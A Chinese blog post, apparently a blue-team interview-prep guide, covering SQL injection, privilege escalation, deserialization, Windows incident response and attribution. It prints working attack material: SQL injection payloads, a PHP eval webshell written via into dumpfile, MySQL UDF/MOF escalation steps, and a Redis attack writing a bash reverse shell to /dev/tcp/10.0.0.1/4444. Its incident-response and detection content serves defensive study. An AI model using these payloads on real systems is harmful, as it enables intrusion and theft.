护网蓝队实战操作补全(二)——应急排查实操·深度漏洞分析·提权手法与溯源反制


本篇文章作为《护网-HVV-面试题大全.md》和《护网蓝队基础补全(一)》的第二弹配套补充,聚焦于面试中容易问到的深度技术细节和实战操作,涵盖 SQL 注入深度补充、提权手法详解、应急排查标准操作、反序列化利用与防御、不出网场景处理、Windows 主机排查实操等内容。


一、SQL 注入深度补充(面试高频追问)

1.1 SQL 注入的六种类型

SQLMAP 将 SQL 注入分为以下六种类型,面试中问到”有哪些注入方式”建议按此回答:

类型 说明 判断方法
报错注入 通过数据库报错信息获取数据 提交错误语法后页面返回数据库错误信息
布尔盲注 根据页面返回真/假判断条件 and 1=1 正常、and 1=2 异常
时间盲注 根据页面响应时间差判断 if(ascii(substr("hello",1,1))=104, sleep(5), 1)
联合查询注入 使用 UNION 拼接查询 union select 1,2,3,4--
内联注入 在原有查询中嵌入额外条件 select * from users where id = 1 or 1=1
堆叠注入 ; 分隔执行多条语句 select * from users; drop table admins--

面试加分点: 提到堆叠注入在 MySQL 中通常受限(多数 API 不支持多语句),而在 SQL Server 和 PostgreSQL 中更常见。

1.2 报错注入的十种函数

MySQL 报错注入常见函数(建议记住前 4 个,其余了解即可):

# 函数 语法示例
1 extractvalue() and extractvalue(1, concat(0x7e,(select @@version),0x7e))
2 updatexml() and updatexml(1, concat(0x7e,(select @@version),0x7e),1)
3 floor() and (select 1 from (select count(*),concat(floor(rand(0)*2),0x7e,(select user()))a from information_schema.tables group by a)b)
4 exp() and exp(~(select * from(select user())a))
5 geometrycollection() and geometrycollection((select * from(select * from(select user())a)b))
6 multipoint() and multipoint((select * from(select * from(select user())a)b))
7 polygon() and polygon((select * from(select * from(select user())a)b))
8 multipolygon() and multipolygon((select * from(select * from(select user())a)b))
9 linestring() and linestring((select * from(select * from(select user())a)b))
10 multilinestring() and multilinestring((select * from(select * from(select user())a)b))

1.3 盲注 vs 延时注入共同点

面试高频问题: “盲注和延时注入的共同点?”

共同点:都是一个字符一个字符地猜解。通过逐字符比较(substr()mid()ascii() 等函数)来获取数据库内容,效率低但稳定。

1.4 SQL 注入写文件函数

面试问”写 WebShell 需要什么条件”时回答重点:

select '一句话木马内容' into outfile '路径'
select '一句话木马内容' into dumpfile '路径'
-- 示例:
select '<?php @eval($_POST[1]); ?>' into dumpfile 'd:\\wwwroot\\baidu.com\\nvhack.php'

into outfileinto dumpfile 的区别:

  • outfile:写文件时会添加换行符和转义,可能破坏二进制文件
  • dumpfile:按原样写入,不添加任何额外内容,适合写二进制数据

写入条件:

  1. MySQL 全局变量 secure_file_priv 不为 NULL
  2. 数据库用户有 FILE 权限
  3. 目标目录有 MySQL 写权限

回答示例: “MySQL 写 WebShell 需要确认三个条件——secure_file_priv 不为 NULL、有 FILE 权限、Web 目录可写。用 into dumpfile 写 PHP 一句话是最常见的做法。”


二、权限提升细节补充

2.1 MySQL UDF 提权完整步骤

要求:

  1. 目标系统为 Windows(Win2000/XP/2003/2008)
  2. 拥有 MySQL 某个用户账号(最好是 root)
  3. 该账号有对 mysql 库的 INSERT 和 DELETE 权限

步骤:

  1. 确认 MySQL 版本和安装路径:

    select @@basedir;
    show variables like '%plugins%';
  2. 寻找插件目录: MySQL 5.1 以上版本需将 udf.dll 放在 lib\plugin 目录下

  3. 导入 UDF 动态库:

    • 通过 into dumpfile 将 DLL 写到插件目录
    • 或使用 sqlmap 的 --os-shell 自动处理
  4. 创建自定义函数:

    create function sys_exec returns integer soname 'udf.dll';
    create function cmdshell returns string soname 'udf.dll';
  5. 执行系统命令:

    select sys_exec('whoami');

蓝队视角: UDF 提权在实战中 MySQL < 5.1 更容易(插件目录限制更少),windows 比 linux 更常见。防守方应监控 mysql\lib\plugin 目录的 DLL 写入和 create function 语句。

2.2 MySQL 提权的三种方式

方式 原理 条件
UDF 提权 通过自定义函数调用系统命令 MySQL root + 插件目录可写
MOF 提权 利用 Windows 管理规范(WMI)的 MOF 文件每 10 秒自动执行机制 MySQL root + secure_file_priv 允许 + Windows 系统
启动项提权 将 VBS/批处理脚本写入 Windows 启动目录 MySQL 可写启动目录 + 服务器重启

MOF 提权路径示例: select load_file('mof.txt') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'

启动项提权路径: C:\Documents and Settings\All Users\Start Menu\Programs\Startup\

2.3 Windows Server 2008 提权特点

Windows Server 2008 默认支持 ASPX,原本就具有一定的命令执行能力。面试回答重点:

  1. 系统补丁未修复时: 利用溢出提权工具(如 MS16-032、MS15-051、MS14-058 等)直接提权
  2. 系统补丁已修复时: 转向其他方式——土豆家族(JuicyPotato/RottenPotato/PrintSpoofer)、服务权限利用、DLL 劫持等
  3. IIS 提权: 获取 IIS 配置信息,添加后门用户(IIS 6.0 常见)
  4. SUID 提权(Linux): 查找 SUID 文件 find / -perm -4000 2>/dev/null,利用 nmap、find 等命令打开 shell

2.4 Linux SUID 提权

大多数应用用户没有登录权限,可以通过 SUID 提权。

查找 SUID 文件:

find / -perm -4000 2>/dev/null

常见可利用的 SUID 文件: nmap(低版本含交互模式)、findvimbashlessmorecp 等。

利用方式(以 find 为例):

find / -exec whoami \;    # 以 SUID 文件所有者权限执行

查看可登录用户:

cat /etc/passwd | grep '/bin/bash'
awk -F: '{if($3==0) print $1}' /etc/passwd  # 查看超级权限账户

2.5 不出网场景的处理方法

漏洞利用不出网(反序列化不回显):

  • 让漏洞回显——通过错误回显、DNS 带外(OOB)、HTTP 请求外带等方式
  • 使用 sleep()ping 等延时检测来盲确认

拿到 WebShell 后不出网:

  • reg(Windows 远程注册表)上传文件正向连接
  • 探测出网协议:DNS(通过 nslookup/dig 确认)、ICMP(ping 出网)、HTTP/S(代理)
  • 利用 DNS over HTTPS(DoH)绕过限制
  • 通过已出网的主机做跳板(正向代理转发)

三、Java 反序列化深度补充

3.1 Java 序列化/反序列化核心

序列化(Serialization): Java 对象 → 字节序列(ObjectOutputStream.writeObject())
反序列化(Deserialization): 字节序列 → Java 对象(ObjectInputStream.readObject())

只有实现了 SerializableExternalizable 接口的类才能被序列化。

流量检测特征: Java 序列化数据以十六进制 ac ed 00 05 开头(魔术头 Magic Number),流量分析时可通过该特征快速发现反序列化攻击请求。对应 Base64 编码为 rO0AB 开头。此外还有 fastjson 序列化(JSON 格式)和 protobuf 序列化(二进制但无固定魔数)。

PHP 序列化格式速记: O:7:"chybeta":1:{s:4:"test";s:3:"123";}——O 对象、7 类名长度、1 属性数、s 字符串。

3.2 Java 反序列化写 WebShell(实操方法)

通过 ysoserial 工具生成 Payload,使用 stderr 输出避免影响 Payload:

# 如果调用 ysoserial 时命令参数处有 "code:" 就可以执行 Java 代码
# 否则执行系统命令
java -jar ysoserial.jar CommonsCollections1 "code:Runtime.getRuntime().exec('cmd')"

步骤:

  1. 使用 ysoserial 生成反序列化 Payload
  2. 将 Payload 发送到目标服务器触发反序列化
  3. 获取 Web 目录路径
  4. 向 Web 目录写入 WebShell 文件

实战打点策略: 优先使用 Java 反序列化漏洞(Shiro、Fastjson、WebLogic、用友 OA 等)进行打点,因为 Java Web 程序通常以高权限运行(部分可能降权)。

3.3 Shiro 漏洞发现方法

未登录状态:

  • 请求包 Cookie 中没有 rememberMe 字段,返回包 Set-Cookie 中也没有 deleteMe 字段

登录失败(不管是否勾选 RememberMe):

  • 返回包都会有 rememberMe=deleteMe 字段

登录成功(不勾选 RememberMe):

  • 返回包 Set-Cookie 中有 rememberMe=deleteMe 字段
  • 但后续所有请求的 Cookie 中都不会有 rememberMe 字段

登录成功(勾选 RememberMe):

  • 返回包 Set-CookierememberMe=deleteMe 字段
  • 还会有 rememberMe 字段
  • 之后所有请求的 Cookie 中都会有 rememberMe 字段

Shiro 漏洞类型:

  • Shiro 550: RememberMe 使用默认密钥,攻击者可构造恶意反序列化数据触发 RCE
  • Shiro 721: RememberMe 使用动态密钥,但可以通过 Padding Oracle 攻击绕过

简易检测: 登录失败时返回 rememberMe=deleteMe Cookie,或者在请求头中添加 rememberMe=任意值 查看响应差异。也可使用 ShiroScan 被动扫描发现。

3.4 Fastjson 漏洞利用原理

核心原理: Fastjson 在处理 JSON 对象时没有对 @type 字段进行充分过滤,攻击者可以传入恶意的 TemplatesImpl 类,该类有一个 _bytecodes 字段,部分函数会根据这个字段生成 Java 实例——这就达到了通过字段传入恶意类,再通过类被生成时执行构造函数中的恶意代码。

防守方重点: 关注请求 Body 中 @type 字段、检测反序列化链对应的特征字节码。

3.5 WebLogic 漏洞概览

漏洞类型 说明
T3 协议反序列化 CVE-2015-4852、CVE-2016-0638、CVE-2017-3248 等,T3 协议传输恶意序列化数据
XML 解析反序列化 XMLDecoder 反序列化 RCE(CVE-2017-10271、CVE-2019-2725)
SSRF CVE-2014-4210,可探测内网
权限绕过 CVE-2020-14882 + CVE-2020-14750,未授权访问控制台
权限绕过 + RCE CVE-2021-2109 等
IIOP 协议 Java RMI 的另一种实现方式,默认使用 JRMP 协议也可选择 IIOP,同样存在反序列化风险

IIOP 与 RMI 的关系:

  • Java RMI(Remote Method Invocation)默认使用 JRMP 协议
  • IIOP(Internet Inter-ORB Protocol)是 CORBA 的传输协议,也可以用于 RMI 通信
  • 两者本质上都是远程方法调用,都面临反序列化攻击风险
  • IIOP 较 JRMP 更复杂,攻击面更多

WebLogic 权限绕过方式: 使用 ./ 进行路径拼接绕过鉴权(/console/css/./console.portal),利用路径规范化差异绕过控制台登录。


四、Windows 应急排查实操(标准步骤)

4.1 查看系统是否存在可疑账号

# 查看所有用户
net user
lusrmgr.msc    # 打开用户管理界面,检查是否有新增/可疑账号

# 查看 Administrators 组成员
net localgroup administrators

4.2 查看隐藏账号和克隆账号

隐藏账号检测(注册表方法):

  1. Win+R 输入 regedit 打开注册表
  2. 检查 SAM 键值:HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names
  3. 对比注册表中的用户列表与 net user 显示的用户列表是否一致

克隆账号检测: 使用 D盾_Web 查杀工具,集成了克隆账号检测功能。

4.3 结合日志检查管理员登录异常

eventvwr.msc    # 打开"事件查看器"

重点关注日志 ID:

日志 ID 说明 关注点
4624 成功登录 异常时间、异常来源 IP
4625 登录失败 暴力破解尝试
4672 特殊登录(赋予管理员权限) 异常高权限登录
4634/4647 注销 配合 4624 确定登录时长
4720 创建用户 可疑账号创建
4732 用户加入安全组 被加入 Administrators 组
7045 安装服务 恶意服务安装

4.4 检查异常端口和进程

Step 1——查看网络连接:

netstat -ano    # 查看所有连接,定位可疑的 ESTABLISHED
netstat -ano | findstr "ESTABLISHED"

Step 2——根据 PID 定位进程:

tasklist | findstr "PID"
tasklist /svc   # 查看进程对应的服务

# 查看进程对应的程序位置:
# 任务管理器 → 选择对应进程 → 右键打开文件位置
# 或使用 wmic
wmic process where processid=PID get name,executablepath

Step 3——使用 msinfo32 查看进程详情:

msinfo32
# 依次点击:软件环境 → 正在运行任务
# 可查看进程路径、进程ID、文件创建日期、启动时间等

需要关注的异常进程特征:

  • 没有签名验证信息的进程
  • 没有描述信息的进程
  • 进程的属主不合法
  • CPU 或内存占用长时间过高
  • 进程路径异常(如运行在临时目录、用户目录等)

工具辅助: D盾_Web 查杀工具 → 进程查看 → 关注没有签名信息的进程
微软官方工具: Process Explorer

4.5 检查启动项

四种检查方式:

# 方法1:msconfig(系统配置)
msconfig
# 启动 → 任务管理器 → 启动(Win10+)

# 方法2:注册表(重点关注以下键)
regedit
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce

# 方法3:启动文件夹
%UserProfile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

# 方法4:组策略
gpedit.msc

4.6 检查计划任务

schtasks        # 查看计划任务列表
at              # 查看旧版定时任务(用于对比)

# 控制面板方式:
# 控制面板 → 管理工具 → 任务计划程序

4.7 查找可疑目录及文件

# 检查用户目录下是否有新建用户目录
# Windows 2003: C:\Documents and Settings\
# Windows 2008+: C:\Users\

# 分析最近打开文件
%UserProfile%\Recent

# 按时间排序查找可疑文件
dir /s /od [目标目录]

# 查找最近 n 天内修改过的文件
forfiles /p C:\inetpub\wwwroot /s /d +7 /c "cmd /c echo @path @fdate @ftime"

4.8 系统版本和补丁信息

systeminfo                     # 查看系统版本和已安装补丁

# 重点关注:
# - 系统启动时间(是否异常重启)
# - 已安装的补丁(是否存在可利用漏洞未修复)
# - 网卡配置(是否多 IP、异常 DNS)

4.9 服务自启动检查

services.msc     # 查看所有服务
sc query         # 命令行查看服务列表

# 重点关注:
# - 启动类型为"自动"但不认识的服务
# - 非微软签名的服务
# - 最近新增的服务(配合日志 ID 7045

五、打点策略与攻击面理解

5.1 红队打点的一般顺序

红队打点通常按以下优先级:

第一梯队——Java 反序列化类(高权限、成功率最高):

  • Shiro(RememberMe 反序列化)
  • Fastjson(@type 反序列化)
  • WebLogic(T3/XML/SSRF)
  • 用友 OA、致远 OA 等 OA 系统历史漏洞
  • Spring Cloud Gateway(CVE-2022-22947)

第二梯队——Web 漏洞类:

  • 文件上传(直接 getshell)
  • RCE(命令执行、代码执行)
  • SQL 注入(可能写 WebShell)

第三梯队——弱口令/未授权类:

  • 后台弱口令
  • 数据库弱口令
  • Redis 未授权访问
  • Elasticsearch 未授权访问

为什么 Java 反序列化优先级高: Java Web 程序通常以高权限运行(部分可能降权),成功即可直接控制服务器。

5.2 蓝队防守打点阶段

  1. 反序列化类防守:

    • 及时更新组件版本
    • WAF 规则覆盖反序列化 Payload 特征
    • 关注 @typeT3 协议、rmi://ldap:// 等特征
    • 部署 RASP 或类似方案检测反序列化利用
  2. 文件上传类防守:

    • 白名单验证后缀
    • 上传目录禁止解析脚本
    • 随机重命名文件
  3. 中间件管理端口保护:

    • Tomcat/JBoss/WebLogic 管理端口不对外
    • 添加双因素认证或至少强密码

六、补充排查命令与工具速查

6.1 扫描器 vs 手工流量判断

判断维度 扫描器特征 手工特征
请求频率 高速连续,毫秒级间隔 低速,间隔较长
命中率 大量 404,盲目扫描 先探测再利用
UA 头 常见 sqlmap、AWVS 等默认 UA 正常浏览器 UA
Payload 大量测试语句 针对性 Payload
攻击模式 一套脚本自动化测试 逐步骤人工操作

蓝队应对: 扫描器流量特征明显,WAF 或态势感知可直接识别。但经验丰富的红队会使用慢速扫描、代理池、修改默认 UA 等方式对抗。需要结合多维度判断。

6.2 反弹 Shell 写入方式

通过 Redis 未授权访问写 Shell:

# 连接 Redis
redis-cli -h target_ip

# 写入反弹 Shell(利用 Redis 持久化功能)
config set dir /var/www/html
config set dbfilename shell.php
set x "<?php system('bash -i >& /dev/tcp/10.0.0.1/4444 0>&1');?>"
save

通过 SSH key 登录(Redis 未授权):

# 将自己的 SSH 公钥写入 Redis,再写入目标 ~/.ssh/authorized_keys
config set dir /root/.ssh/
config set dbfilename authorized_keys
set x "ssh-rsa AAAAB3...your-public-key..."
save

6.3 SQL 注入写 WebShell 实战要点

  1. 需要 Web 目录绝对路径(可通过报错、phpinfo 等获取)
  2. 确认 MySQL 用户的 FILE 权限
  3. 确认 secure_file_priv 配置
  4. 使用 into dumpfile 而非 into outfile(避免转义问题)
  5. 注意写入文件的权限:Web 用户需能读取

6.4 横向渗透攻击判断

判断依据: 检测到用户账户来自于不正常或非授权系统,或者在不正常或非授权系统中使用——这种情况下存在横向渗透攻击。

检测侧重点:

  • 同一个账号在短时间内从多台主机登录
  • 管理账号从非管理主机登录
  • 非业务时间异常登录
  • 使用明文协议(Telnet、FTP)的横向连接

七、溯源反制与研判实践

7.1 溯源常用方法

方法 操作要点 典型场景
IP 定位 通过 IP 地理信息定位,注意代理 IP 干扰 基础溯源
ID 追踪 搜索引擎 + 社交平台 + 技术论坛 + 社工库 发现攻击者 ID 后
URL Whois 域名注册信息查询,可能获取姓名/电话/邮箱 钓鱼域名
恶意样本分析 提取样本中 ID、邮箱、C2、同源分析 后门文件分析
社交账号 利用 JSONP 接口获取浏览器信息/真实 IP 攻击者访问特定页面
反向渗透 对攻击者服务器进行端口扫描和渗透 高级溯源

7.2 研判与上报实操

研判前准备工作:

  • 提前了解客户网络拓扑和部署的设备情况
  • 排除常见干扰告警:挖矿、蠕虫、病毒、DoS 等(直接过滤减少数量)
  • 准备好威胁情报工具(微步在线、奇安信威胁情报中心、绿盟威胁情报云)

研判核心思路:

真实攻击不可能只持续一次——它一定是长时间、周期性、多 IP 的进行攻击。

单条告警判断方法:

  1. 使用威胁情报平台查询源 IP 恶意评分
  2. 排除内部设备和已知扫描器 IP
  3. 检查告警中请求方法、路径、参数是否包含恶意 Payload
  4. 查看是否有实际攻击成功的回显

上报要点(防守关键):

  • 提供完整截图(源 IP、目的 IP、请求包请求体、响应包响应体)
  • 不要忽略内网告警(需要同样关注)
  • 在必要时往前推排查时间(攻击者可能早已进入)

研判团队协作: 多人同时值守时,建立统一的事件上报平台,避免多人重复处理同一条告警。

7.3 攻击者画像

画像维度 内容
攻击路径 入口 → 横向移动 → 落脚点 → 目标
攻击目的 拿权限、窃数据、搞破坏
网络代理 代理 IP、跳板机、C2 服务器、VPN
攻击手法 钓鱼、Web 渗透、水坑、近源渗透、社工
虚拟身份 ID、昵称、网名、论坛账号
真实身份 姓名、物理位置
联系方式 手机号、QQ/微信、邮箱
组织情况 单位名称、职位信息

声明: 本文所有内容仅用于合法的安全防御学习、蓝队能力建设和护网演练准备。禁止用于未授权的网络攻击行为。


评论
 本篇
护网蓝队实战操作补全(二)——应急排查实操·深度漏洞分析·提权手法与溯源反制 护网蓝队实战操作补全(二)——应急排查实操·深度漏洞分析·提权手法与溯源反制
本篇文章作为《护网-HVV-面试题大全.md》和《护网蓝队基础补全(一)》的第二弹配套补充,聚焦于面试中容易问到的深度技术细节和实战操作,涵盖 SQL 注入深度补充、提权手法详解、应急排查标准操作、反序列化利用与防御、不出网场景处理、Win
2026-06-24
下一篇 
护网蓝队基础补全(一)——网络基础·漏洞速查·安全加固·面试高频 护网蓝队基础补全(一)——网络基础·漏洞速查·安全加固·面试高频
本篇文章作为《护网-HVV-面试题大全.md》的配套补充,聚焦于护网蓝队面试中的基础知识、常见漏洞原理速查、中间件漏洞、护网流程、安全加固、内网渗透基础、权限提升、内存马分类、渗透测试流程、英语术语等主题。适合初学者系统补全知识体系。
2026-06-24
  目录